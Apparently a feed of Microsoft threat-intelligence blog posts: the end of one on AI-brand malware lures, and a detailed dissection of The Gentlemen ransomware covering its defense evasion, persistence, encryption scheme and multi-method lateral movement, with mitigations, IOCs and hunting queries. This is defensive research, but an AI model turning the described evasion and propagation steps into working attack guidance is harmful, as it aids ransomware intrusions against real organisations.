The 7z archives hosted on GitHub contained a loader executable such as SHA-256: 5455341ed1bbe75a664fca2dd0794c508e1874f75360253a7ff5bc119bc92d80. The loader was observed downloading and installing Vidar stealer and potentially additional malware.

Lastly, Microsoft observed that the DeepSeek-themed payloads share infrastructure with a much larger rotating fake-AI / fake-tool ecosystem. The same shared loader hash (SHA-256 5455341…) appeared under file names impersonating GPT-5.5, Claude Code, Kimi, Seedance, Gemma, GrokCLI, Manus AI, FraudGPT, and others (see table below). Public research from Trend Micro, Zscaler ThreatLabz, and Huntress describe the same broader ecosystem, with TradeAI.exe, OpenClaw_x64.7z, WormGPT_x64.7z, and DeepSeekAI_agent_x64.7z appearing as sibling lures and the downstream payload set documented as Vidar plus GhostSocks.

Mitigation and protection guidance

To defend against social engineering campaigns that leverage AI brands as lures, Microsoft recommends the following mitigation measures:

• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.
• Enforce multifactor authentication (MFA) on all accounts, remove users excluded from MFA, and strictly require MFA from all devices in all locations at all times.
• Use the Microsoft Authenticator app for passkeys and MFA, and complement MFA with conditional access policies, where sign-in requests are evaluated using additional identity-driven signals.
• Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
• Enable Zero-hour auto purge (ZAP) in Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Configure Microsoft Defender for Office 365 Safe Links to recheck links on click. Safe Links provides URL scanning and rewriting of inbound email messages in mail flow and time-of-click verification of URLs and links in email messages, other Microsoft Office applications such as Teams, and other locations such as SharePoint Online. Safe Links scanning occurs in addition to the regular anti-spam and anti-malware protection in inbound email messages in Microsoft Exchange Online Protection (EOP). Safe Links scanning can help protect your organization from malicious links that are used in phishing and other attacks.
• Invest in advanced anti-phishing solutions that monitor and scan incoming emails and visited websites. For example, organizations can leverage web browsers like Microsoft Edge that automatically identify and block malicious websites, including those used in this phishing campaign, and solutions that detect and block malicious emails, links, and files.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Enable network protection to prevent applications or users from accessing malicious domains and other malicious content on the internet.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Threat overview profile: Evolving phishing threats

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post AI brands as bait: How threat actors are using the AI hype in social engineering appeared first on Microsoft Security Blog.

Ransomware that combines robust encryption with rapid lateral movement significantly increases the risk and impact of an attack. The Gentlemen ransomware is a ransomware-as-a-service (RaaS) threat that is distinguished by its ability to pair its strong per-file encryption with an aggressive self-propagation capability designed to enable broad network compromise. In addition to using per-file ephemeral Curve25519 keys with XChaCha20 stream cipher, The Gentlemen ransomware attempts to spread across an environment using series of simultaneous, distinct lateral movement methods, increasing the likelihood of widespread impact once initial access is achieved.

Microsoft Threat Intelligence tracks the operators behind the ransomware as Storm-2697, a financially motivated threat actor that manages the RaaS platform known as “The Gentlemen” while affiliates carry out attacks. Emerging around mid-2025, The Gentlemen initially started as a closed ransomware group then began offering its RaaS to affiliates in September 2025. More recently, The Gentlemen operators established an official partnership with BreachForums, a popular cybercriminal marketplace, to recruit affiliates including penetration testers and initial access brokers. Given that The Gentlemen is already a widely adopted RaaS platform, this partnership may lead to increased activity as the program becomes accessible to a broader pool of threat actors.

The operators behind the ransomware use double extortion tactics, encrypting data while also exfiltrating sensitive information to pressure victims through the threat of public release if the ransom is not paid. The ransomware is written in Go and obfuscated with Garble to target the Windows environment. Microsoft has observed The Gentlemen ransomware impacting organizations across education, transportation, healthcare, and financial industries in North America, South America, Europe, Africa, and Asia.

In this blog, we present a detailed analysis of the Gentlemen ransomware encryptor, including its execution flow, defense evasion behaviors, encryption design, and lateral movement techniques. This research is intended to provide defenders, incident responders, and the broader security community with a better understanding of how the threat operates, from initial argument parsing and defense evasion, through its file encryption internals, to the full lateral movement that enables it to propagate across the network. We also provide mitigation guidance, Microsoft Defender detections, hunting queries, and indicators of compromise (IOCs) to help organizations defend against this threat and similar ransomware activity.

Pre-encryption

Command-line argument processing

The ransomware operator can control The Gentlemen encryptor through command-line arguments. A password is required for execution, and optional arguments allow the operator to specify encryption scope, speed, lateral movement, and post-encryption behaviors.

The binary accepts the following arguments:

The --full command-line argument appears to be the intended mode of operation for comprehensive file encryption on the infected device. When this argument is provided, the malware spawns two child processes of itself: one appended with the argument --system to encrypt local volumes under a SYSTEM-privileged scheduled task, and one appended with the argument --shares to encrypt network shares. This separation ensures that the malware can reach both local drives (which might require SYSTEM privileges) and mapped network shares (which are only visible in the user’s session).

The speed arguments (--fast, --superfast, --ultrafast) are mutually exclusive and control how much of each large file is encrypted. When no speed flag is specified, the default per-chunk percentage is 9%. These flags only affect files that are larger than 1 MB, and small files are fully encrypted regardless of the speed setting.

Usage prompt

When the encryptor is executed with no command-line argument, the malware prints a branded usage banner to the console.

It first executes the following PowerShell commands to render a console header:

This is followed by a detailed usage prompt provided by the malware author that documents all available flags with descriptions and examples:

It is worth noting that the file size percentages listed in the usage prompt refer to the total file encryption amount. Internally, the malware encrypts three separate chunks, and the per-chunk percentage used in the code is: fast=3%, superfast=1%, ultrafast=0.3%, default=9%.

Password check

Before executing its primary functionality, the malware validates the --password argument against a hardcoded value embedded within the binary. For the sample analyzed in this blog, the expected password is “9VoAvR7G”. If the provided password does not match, the malware outputs bad args and terminates execution.

This password check is a simple operator authentication mechanism, with each build containing a unique embedded password. Its purpose is to restrict execution to authorized operators and reduce the risk of accidental or unauthorized detonation if the binary is recovered or intercepted. However, because this validation relies on a static comparison, it can be easily identified and bypassed through static analysis techniques.

System encryption: Privilege escalation

When the --system argument is provided (either directly or via the --full argument), the malware creates a scheduled task to re-execute itself as SYSTEM. If a delay value is also specified through the --T argument, the scheduled execution time is adjusted accordingly.

To relaunch itself as SYSTEM, it issues the following sequence of commands:

The malware can only perform this task if it’s executed from an account with administrator privilege. It first deletes any existing task named gentlemen_system to avoid conflicts, creates a new one-time task that runs its binary under the SYSTEM account, and finally triggers that task.

This sequence ensures a clean state by first removing any existing task with the same name (gentlemen_system), creating a new scheduled task that executes the ransomware binary with SYSTEM-level privileges before finally triggering its immediate execution.

When running within this scheduled task context, the malware sets the environment variable LOCKER_BACKGROUND=1. This variable functions as an internal execution flag, indicating that the process is operating as a background encryption worker with elevated privileges, rather than as the original operator-invoked instance.

Defense evasion

Before starting file encryption, the malware executes a sequence of commands to disable defensive controls and remove potential forensic artifacts.

Disable Microsoft Defender

The PowerShell commands disable Microsoft Defender real-time monitoring to remove active protection on the infected device. The malware then adds its own executable to the Defender exclusion list to avoid detection. Finally, it excludes the entire C:\ volume from scanning, reducing the likelihood of subsequent detection during file encryption.

Delete shadow copies and event logs

To further impede recovery efforts, the malware deletes all Volume Shadow Copies using both vssadmin and wmic (Windows Management Instrumentation command-line utility). It then clears the System, Application, and Security event logs using wevtutil to remove key audit trails.

Delete forensics artifacts

These commands remove a variety of forensic artifacts, including prefetch files that track program execution, Defender diagnostic and support logs, and Remote Desktop Protocol (RDP) logs.

Additionally, the malware manually deletes PowerShell command history across all user profiles by removing the following file:

This action eliminates evidence of previously executed PowerShell commands, further reducing the visibility of execution history and threat actor activity.

Process and service termination

Process termination

The malware stops a list of running processes using the command:

The table below summarizes the different categories and processes being targeted:

Service termination

In addition to terminating processes, the malware disables and stops a list of Windows services using the commands:

The table below summarizes the different categories and services being targeted:

Terminating these processes and services serves two primary objectives:

• File access and encryption reliability: Many targeted processes/services, such as databases, Office applications, and backup agents, maintain active file locks. By forcibly terminating these processes, the ransomware ensures that locked files become accessible for encryption.
• Defense and recovery disruption: By stopping backup services, endpoint protection agents, and remote access tools, the malware reduces the likelihood of real-time detection and data restoration from backups.

Collectively, these behaviors maximize encryption coverage while hindering the environment’s ability to detect, respond to, or recover from the attack.

Persistence

The encryptor can establish persistence for itself through two mechanisms: scheduled tasks and registry keys.

Scheduled tasks persistence

For establishing persistence with scheduled tasks, the malware executes the following sequence of commands:

These commands first remove any pre-existing tasks with the same names, then create two persistence mechanisms that execute automatically at system startup. The UpdateSystem task launches the payload in the SYSTEM security context, while the UpdateUser task launches it in the currently signed-in user’s context. This design increases the likelihood that the ransomware will run after reboot regardless of privilege level or sign-in state.

Registry keys persistence

For establishing persistence with the registry, the malware executes the following sequence of commands:

The GupdateS value under HKEY_LOCAL_MACHINE (HKLM) provides device-wide persistence that allows the malware to run at startup for all users, while the GupdateU value under HKEY_CURRENT_USER (HKCU) provides user-scoped persistence within the current profile. By writing to both registry hives, the malware establishes redundant autorun paths across both system-level and user-level execution contexts.

Together, the scheduled tasks and Run key modifications create layered persistence, ensuring that the encryptor is re-executed after a reboot in both privileged and user-context scenarios.

Network share traversal

When the command-line argument --shares is provided, the malware initiates network share discovery and enumeration. It begins by probing all drive letters A through Z to identify mapped network drives using the following commands:

This sequence discovers any drives that are already mapped in the current user’s session, which are then added to the encryption target list.

To further enhance visibility into the network environment, the malware enables multiple Windows network discovery services and their associated firewall rules using the following commands:

The services enabled as part of this process include:

• Function Discovery Resource Publication (fdrespub): Publishes the host’s resources to the network, allowing other systems to detect it.
• Function Discovery Provider Host (fdPHost): Hosts provider components responsible for discovering network resources.
• Simple Service Discovery Protocol (SSDP) Discovery (SSDPSRV): Enables discovery of Universal Plug and Play (UPnP) devices.
• UPnP Device Host (upnphost): Supports the hosting and management of UPnP devices.

Finally, the malware reinforces this configuration by enabling the Network Discovery firewall rule group. This redundancy ensures that firewall restrictions do not limit its network visibility, further maximizing the number of reachable targets for encryption and propagation.

Volume and directory traversal

To enumerate all available volumes on the system, the malware executes the following PowerShell command sequence:

This command queries Windows Management Instrumentation (WMI) for all mounted volumes with drive letter paths and attempts to enumerate Cluster Shared Volumes (CSVs).

Additionally, the malware performs a secondary enumeration routine by iterating through drive letters A through Z while verifying their existence on disk. This brute-force method ensures broader coverage by identifying volumes that might not be retrieved through WMI queries to maximize visibility into all potential encryption targets.

Directory exclusion list

To maintain system stability and avoid disrupting critical operating system components, the malware excludes a predefined set of directories from traversal and encryption. These directories include core Windows system paths, application directories, and locations commonly associated with security and system management:

Extension exclusion list

The ransomware also excludes a set of file extensions associated with system-critical binaries, configuration files, and executable content:

By avoiding executable files, libraries, scripts, and other system-relevant formats, the malware preserves the integrity of the operating environment. This selective encryption model is a common ransomware design pattern, ensuring that the system remains operational enough for the victim to receive instructions and facilitate ransom payment.

File name exclusion list

The specific file names below are also excluded:

The inclusion of README-GENTLEMEN.txt, the ransomware’s ransom note, prevents it from being encrypted during execution. This ensures that the ransom instructions remain accessible to the victim, which is critical for the operator’s monetization workflow.

Ransom note

During directory traversal, the malware drops a ransom note named README-GENTLEMEN.txt in each scanned directory to provide victim-facing instructions.

The note contains identifiers assigned to the victim, communication channels, and guidance on how to initiate contact with the operators.

File encryption

File ownership

Before encrypting a file, the ransomware modifies the file ownership and access control settings to ensure it has unrestricted write access to the target. This is achieved through the following sequence of commands:

The takeown command recursively transfers ownership of the specified file or directory to the executing user, overriding existing ownership constraints. The icacls command then grants full control permissions to the Everyone security identifier (SID S-1-1-0), applying inheritance flags to propagate these permissions to all child objects. Finally, the attrib command removes the read-only attributes.

Cryptographic scheme

The Gentlemen ransomware implements a hybrid cryptographic design that combines Curve25519 elliptic-curve cryptography with the XChaCha20 stream cipher to achieve efficient and secure per-file encryption.

For each file, the malware performs the following sequence of operations:

1. Generates a unique ephemeral Curve25519 key pair, consisting of a randomly generated private key and its corresponding public key
2. Computes the Elliptic-curve Diffie–Hellman (ECDH) shared secret between the ephemeral private key and the operator’s embedded public key
3. Uses the resulting shared secret as the XChaCha20 key, and derives the nonce from the first 24 bytes of the ephemeral public key
4. Encrypts the file contents using XChaCha20 with this key and nonce combination
5. Appends the Base64-encoded ephemeral public key to the file footer to enable subsequent key reconstruction during decryption

In this sample, the operator’s public key is hard-coded within the binary as a Base64-encoded value:

This design ensures that each file is encrypted with a distinct key and nonce derived from a per-file ephemeral key exchange, eliminating any possibility of key or nonce reuse across files.

During decryption, the decryptor can use the operator’s Curve25519 private key together with the stored ephemeral public key to reconstruct the ECDH shared secret and recover the XChaCha20 key. The nonce is deterministically reconstructed by extracting the first 24 bytes of the recovered ephemeral public key, making separate nonce storage unnecessary.

Overall, this approach provides strong cryptographic isolation between encrypted files while maintaining operational simplicity and efficiency for the threat actor during both encryption and decryption.

Size-based encryption

The malware uses different encryption strategies based on file size:

Small files that are less than 1MB in size are fully encrypted. This ensures that documents, configuration files, and other small but critical data are completely corrupted. For larger files such as databases, virtual disk images, archives, full encryption would be time-consuming. Instead, the malware encrypts three data chunks distributed across the file, which is sufficient to corrupt the file structure while dramatically reducing encryption time.

After encryption, each affected file is renamed with the appended extension .umc16h. This extension serves as a quick indicator of files already encrypted by the ransomware.

Large file chunking logic

For files larger than 1 MB, the malware performs partial encryption by dividing the file into three non-contiguous chunks distributed across its contents:

The first chunk begins at the start of the file, the second is positioned near the midpoint, and the third is located toward the end. This distribution ensures that even limited encryption is sufficient to corrupt the file structure while minimizing processing time.

Each chunk is encrypted in 64 KB (0x10000) blocks using XChaCha20. To maintain cryptographic separation between chunks, the malware modifies the nonce on a per-chunk basis. Specifically, the last byte of the 24-byte XChaCha20 nonce is XOR-ed with the chunk index (0, 1, or 2), and a new cipher instance is initialized for each chunk using the modified nonce. As a result, chunk 0 uses the original nonce, while subsequent chunks use deterministically altered variants.

Although all chunks for a given file share the same derived encryption key, this nonce mutation ensures that each chunk is processed under a unique keystream, preventing keystream reuse across different regions of the file.

The encryption percentage for each file is determined by the provided speed command-line arguments:

File footer

After encrypting each file, the malware appends a structured footer containing metadata required for identification and decryption. The footer format differs slightly depending on whether the file was fully or partially encrypted.

Small file encryption (files ≤ 1 MB):

Large file encryption (files > 1 MB):

The footer serves three primary functions:

1. Key and nonce reconstruction: The Base64-encoded ephemeral public key, located after --eph--, allows the decryptor to recompute both the XChaCha20 key (using ECDH shared secret) and the nonce (first 24 bytes of the ephemeral public key).
2. Identification: The GENTLEMEN marker, located after --marker--, serves as a unique identifier, allowing encryptors/decryptors to quickly determine that the file has been encrypted by The Gentlemen ransomware.
3. Decryption mode: The optional speed flag marker (only present on large files) tells the decryptor which chunking percentage was used.

Notably, the speed marker is only present for large-file encryption. Files that are ≤ 1 MB do not include a speed marker, and its absence signals that the file was fully encrypted. This implicit encoding in the footer allows the decryptor to distinguish between full and partial encryption modes without requiring additional metadata fields.

Post-encryption

Wallpaper setup

If the --silent argument is not provided, the malware drops the following bitmap image file to %TEMP%\gentlemen.bmp and sets it as the system’s desktop wallpaper.

This behavior serves as an immediate visual indicator of compromise, signaling to the victim that encryption has completed.

Self-propagation

The self-propagation module is the more distinctive component of The Gentlemen ransomware. When enabled with the --spread argument, it turns the malware from a single-host encryptor into a self-propagating worm that attempts to deploy its encryptor to every reachable system on the network.

The --spread argument accepts either explicit credentials in domain/user:password format for authenticated lateral movement, or an empty string to reuse the current session’s authentication token.

Placeholder legend

The executed commands in this section use the following placeholders:

Phase 1: Local staging setup

The malware prepares the infected host to act as a distribution point for its binary by executing the following command sequence:

The commands copy the malware executable into C:\Temp, creates a hidden Server Message Block (SMB) share named share$ pointing to that directory, and modifies registry settings to allow anonymous access. With this setup, other systems on the network can retrieve the payload from \\<self>\share$, even when valid credentials are not available.

Phase 2: PsExec drop

The malware binary carries an embedded copy of PsExec and drops it to C:\Temp\psexec.exe on the infected device.

If the embedded PsExec payload cannot be extracted successfully, the malware falls back to downloading PsExec directly from Microsoft’s Sysinternals Live service using the following PowerShell command:

Phase 3: Network enumeration

After dropping PsExec, the malware attempts to enumerate and discover remote systems on the network, including workstations, servers, and domain controllers. Each discovered host becomes a candidate target for propagation.

Phase 4: PowerShell defense evasion blob

Before attempting to run the payload on a remote system, the malware executes the following PowerShell command on the remote target to weaken local defenses and make payload execution more reliable:

This command disables Microsoft Defender real-time monitoring, adds broad Defender exclusions, turns off Windows Firewall across all profiles, shares local drives, grants permissive New Technology File System (NTFS) access, enables SMB1, and loosens anonymous-access restrictions through Local Security Authority (LSA) registry settings. Together, these changes make the remote system significantly more exposed and ready for the payload deployment step.

Phase 5: Payload deployment

For each discovered remote host, the malware attempts a series of independent lateral movement techniques to execute its payload. Notably, these techniques are executed without dependency on prior success, and each method is attempted regardless of whether earlier attempts fail. This execution model of The Gentlemen’s propagation logic can significantly increase the likelihood that at least one execution path succeeds even in secured environments.

5.1: Remote file copy

The malware first stages its payload on the remote system by copying the encryptor binary over the administrative C$ share:

This operation ensures a local copy of the payload is available on the target host, allowing subsequent execution methods to reference a path that does not depend on network shares.

5.2: PsExec-based execution

If PsExec is successfully dropped or downloaded, the malware leverages it to perform a multi-stage execution sequence on the remote host.

First, the malware executes the PowerShell defense evasion payload to weaken host protections:

After a delay to allow defenses to be disabled, the malware executes the payload from the locally staged path C:\Temp under SYSTEM privileges:

After another sleep period, the malware executes the final command to run the payload with the –h flag for elevated token and –c -f to copy and force execution:

5.3: WMIC process creation

The malware uses WMI via wmic.exe to create remote processes:

The first command executes the defense evasion blob, the second runs the payload from the infected host’s SMB share, and the third runs the pre-staged copy from the target’s local C:\Temp directory.

5.4: Scheduled tasks (user)

The malware creates three scheduled tasks under the target user’s context, each running two minutes after the time when they are created:

The scheduled task DefU is set to run the defense evasion blob, UpdateGU executes the payload from the infected host’s SMB share, and UpdateGU2runs the pre-staged copy from the target’s local C:\Temp directory.

5.5: Scheduled tasks (system)

The same three tasks are repeated, running under the SYSTEM account:

By attempting both user-context and SYSTEM-context task creation, the ransomware can improve its chance of propagation across environments with different permission boundaries.

5.6: Service-based execution

The malware executes the following command sequence to create three Windows services on the target host:

Similar to the scheduled tasks, the service DefSvc is set to run the defense evasion blob, UpdateSvc executes the payload from the infected host’s SMB share, and UpdateSvc2 runs the pre-staged copy from the target’s local C:\Temp directory. These services run as SYSTEM by default, which provides another high-privilege execution path for the ransomware payload on the remote system.

5.7: Payload deployment: PowerShell remoting

Using PowerShell remoting, the malware executes commands directly on the target using Invoke-Command:

This method leverages Windows Remote Management (WinRM), providing an alternative execution channel when PsExec or WMIC are unavailable or blocked.

5.8: PowerShell WMI execution

Finally, the malware uses the PowerShell WMI class interface directly to create remote processes with the following command sequence.

This provides functionality equivalent to wmic.exe, but through a different execution path. As a result, it might succeed in environments where the WMIC binary is restricted but WMI access remains available.

Self-propagation summary

Across all techniques, the malware attempts 21 remote execution operations per target host, spanning multiple APIs, privilege levels, and execution contexts. Each method attempts to launch the payload from:

• The infected host’s SMB share: \\<self>\share$\<payload_name>
• The target host’s locally staged path: C:\Temp\<payload_name>

This redundancy is central to The Gentlemen’s propagation strategy. In secured environments where most lateral movement techniques are mitigated, a single successful execution on a single additional host is sufficient to continue the propagation.

Free space wipe

If the --wipe argument is provided, The Gentlemen ransomware performs an additional post-encryption routine to eliminate recoverable artifacts from disk.

The malware first enumerates all available volume paths on the system. For each volume, it creates a temporary file named wipefile.tmp at the root directory and determines the amount of available free space. It then writes random data to this file in 64 MB blocks until the volume is completely filled. Once the disk space has been exhausted, the temporary file is deleted.

This process effectively overwrites all unallocated disk space with random data, preventing forensic tools from recovering remnants of previously deleted files. This includes cached or temporary versions of original unencrypted data that might still reside on disk. When combined with earlier actions such as Volume Shadow Copy deletion, this behavior reduces the likelihood of data recovery without access to the threat actor’s decryption key.

Self-delete

If the --keep flag is not provided, the malware attempts to remove its executable from disk after completing encryption.

Since a running process cannot directly delete its own binary, the ransomware generates and executes a temporary batch script at <malware_path>.batwith the following contents:

The batch script introduces a short delay by sending three Internet Control Message Protocol (ICMP) echo requests to the local host, pausing execution long enough for the main malware process to terminate. After this delay, the script deletes the original ransomware executable before removing itself. This mechanism helps reduce on-disk artifacts and hinders post-incident forensic analysis by eliminating the ransomware binary from the compromised system.

Defending against The Gentlemen ransomware

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Read the human-operated ransomware threat overview for advice on developing a holistic security posture to prevent ransomware, including credential hygiene and hardening recommendations. 
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving threat actor tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants. 
• Turn on tamper protection features to prevent threat actors from stopping security services. In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy. 
• Enable controlled folder access. Controlled folder access helps protect your valuable data from malicious apps and threats, such as ransomware. Controlled folder access works by only allowing trusted apps to access protected folders. Protected folders are specified when controlled folder access is configured. Apps that aren’t included in the trusted apps list are prevented from making any changes to files inside protected folders. 
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach. 
• Configure investigation and remediation in full automated mode to let Microsoft Defender for Endpoint take immediate action on alerts to resolve breaches, significantly reducing alert volume. 
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully. 
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:  
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion 
  • Block process creations originating from PSExec and WMI commands if you’re managing your devices with Intune or another MDM solution. This rule is incompatible with management through Microsoft Endpoint Configuration Manager. 
  • Use advanced protection against ransomware

Microsoft Defender detections and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects threat components as the following malware:

• Ransom:Win64/Gentlemen

Microsoft Defender for Endpoint

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.

• Ransomware-linked threat actor detected
• Ransomware behavior detected in the file system
• Possible ransomware activity
• File backups were deleted
• Potential human-operated malicious activity
• Possible data exfiltration
• Suspicious wallpaper change

The following alerts might indicate threat activity associated with The Gentlemen ransomware if Defender for Endpoint is set to block mode.

• ‘Gentlemen’ ransomware was detected
• ‘Gentlemen’ ransomware was prevented

Microsoft Defender for Cloud Apps

The following alert might indicate threat activity associated with this threat. This alert, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.

• Ransomware activity

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Tool profile: Gentlemen ransomware
• Threat overview profile: Human-operated ransomware

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Known The Gentlemen ransomware files

Search for the file hashes associated with The Gentlemen ransomware activity identified in this report. 

let fileHashes = dynamic(["22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67"]);
union
(
   DeviceFileEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = SHA256, SourceTable = "DeviceFileEvents"
),
(
   DeviceEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = 
SHA256, SourceTable = "DeviceEvents"
),
(
   DeviceImageLoadEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = SHA256, SourceTable = "DeviceImageLoadEvents"
),
(
   DeviceProcessEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = SHA256, SourceTable = "DeviceProcessEvents"
)
| order by Timestamp desc

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Detect web sessions IP and file hash indicators of compromise using Advanced Security Information Model (ASIM)

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser:

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic([]);
let ioc_sha_hashes =dynamic(["22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67"]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or FileSHA256 in (ioc_sha_hashes)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

Detect files hashes indicators of compromise using ASIM

The following query checks IP addresses and file hash IOCs across data sources supported by ASIM file event parser:

// file hash list - imFileEvent
let ioc_sha_hashes = dynamic(["22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67"]);
imFileEvent
| where SrcFileSHA256 in (ioc_sha_hashes) or
TargetFileSHA256 in (ioc_sha_hashes)
| extend AccountName = tostring(split(User, @'')[1]), 
  AccountNTDomain = tostring(split(User, @'')[0])
| extend AlgorithmType = "SHA256"

Indicators of compromise

Acknowledgements

• License to Encrypt: The “Gentlemen” Make Their Move. Cybereason (accessed 2026-02-06)
• Unmasking The Gentlemen Ransomware: Tactics, Techniques, and Procedures Revealed. TrendMicro (accessed 2026-02-06)

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post The Gentlemen ransomware: Dissecting a self-propagating Go encryptor appeared first on Microsoft Security Blog.

Ransomware that combines robust encryption with rapid lateral movement significantly increases the risk and impact of an attack. The Gentlemen ransomware is a ransomware-as-a-service (RaaS) threat that is distinguished by its ability to pair its strong per-file encryption with an aggressive self-propagation capability designed to enable broad network compromise. In addition to using per-file ephemeral Curve25519 keys with XChaCha20 stream cipher, The Gentlemen ransomware attempts to spread across an environment using series of simultaneous, distinct lateral movement methods, increasing the likelihood of widespread impact once initial access is achieved.

Microsoft Threat Intelligence tracks the operators behind the ransomware as Storm-2697, a financially motivated threat actor that manages the RaaS platform known as “The Gentlemen” while affiliates carry out attacks. Emerging around mid-2025, The Gentlemen initially started as a closed ransomware group then began offering its RaaS to affiliates in September 2025. More recently, The Gentlemen operators established an official partnership with BreachForums, a popular cybercriminal marketplace, to recruit affiliates including penetration testers and initial access brokers. Given that The Gentlemen is already a widely adopted RaaS platform, this partnership may lead to increased activity as the program becomes accessible to a broader pool of threat actors.

